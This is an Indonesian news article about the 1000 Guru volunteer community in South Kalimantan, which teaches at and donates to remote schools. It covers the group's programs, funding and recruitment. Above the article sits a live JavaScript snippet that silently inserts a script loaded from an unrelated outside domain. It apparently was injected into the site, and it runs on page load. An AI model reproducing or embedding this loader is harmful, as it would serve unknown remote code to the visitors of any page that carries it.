(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Beragam komunitas di Kalimantan Selatan didominasi kalangan anak muda. Tidak sedikit komunitas dijadikan sarana untuk berkumpul kumpul seru-seruan saja, namun tak sedikit pula komunitas melakukan aksi nyata lewat program mereka.
Salah satunya komunitas 1000 Guru, saat ini komunitas 1000 Guru sudah terbentuk sebanyak 37 Regional di berbagai daerah seluruh Indonesia, kini sudah hadir di Kalimantan Selatan.
Berdiri pada 28 Maret 2015, komunitas 1000 Guru Regional Kalsel terbentuk dari antusiasme dan keprihatinan anak muda atas dunia pendidikan di Indonesia. Mereka tidak mau disebut anggota melainkan hanya relawan saja.
Para relawan ini mencangkup dari semua kalangan, dengan rata-rata berusi di atas 18 hingga 35 tahun, seluruhnya memiliki rasa peduli terhadap pendidikan terbatas.
Komunitas 1000 Guru mempunyai visi dan misi untuk membantu anak-anak dalam bidang pendidikan serta mengajak anak-anak muda untuk mengajak menjadi guru sehari.
Dalam program mereka, komunitas 1000 Guru Regional Kalsel melalukan aksi mengajar dan memberikan motivasi untuk anak-anak agar tetap melanjutkan sekolah dan juga membagikan donasi kepada siswa-siswi sekolah pedalaman. Komunitas ini memiliki kegiatan yang bernama Travelling and Teaching yaitu mengajar dan juga jalan-jalan sambil berkunjung ke destinasi wisata yang ada di Kalimantan Selatan. Teaching and Giving yaitu kegiatan mengajar dan membagikan donasi berupa tas sekolah dan alat tulis sekolah kepada anak-anak.
Ketua Komunitas 1000 Guru Regional Kalsel Tria Noorsyifa mengungkapkan, sejauh ini komunitasnya telah banyak melaksanakan kegiatan Travelling and Teaching dan Teaching and Giving dengan memfokuskan di sekolah-sekolah pedalaman.
“Alhamdulillah, sejauh ini 1000 Guru Kalsel sudah 10 kali melaksanakan kegiatan Travelling and Teaching dan 2 kali Teaching and Giving di sekolah-sekolah pedalaman di Kalsel,†ungkapnya.
Perlu diketahui untuk anggaran komunitas 1000 Guru Kalsel dihasilkan secara swadaya yang berasal dari penjualan merchandise, registrasi volunteer, donatur dan juga bantuan dari sponsor.
Nah, bagi kamu yang tertarik untuk ikut bergabung menjadi Voluenter atau relawan setiap kegiatan, salah satu relawan Komunitas 1000 Guru Kalsel, Yulian Effendi akan menjelaskan cara-caranya.
“Komunitas ini mengadakan open recruitment voluenter di media jejaring social Instagram, dimana dieposter tersebut tertera berapa biayanya, lokasi sekolah dan wisata yang akan dikunjungi. Untuk info open recruitmen bisa follow instagram @1000_guru_kalsel,†jelasnya.
Effendi menambahkan komunitas ini tidak memiliki syarat yang khusus, yang penting relawan yang ikut kegiatan memiliki komitmen tinggi dan punya kepedulian akan pendidikan di pedalaman.
“Tidak ada syarat khusus, intinya punya komitmen tinggi dan punya rasa peduli terhadap pendidilam di daerah pedalam yang terbatas†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.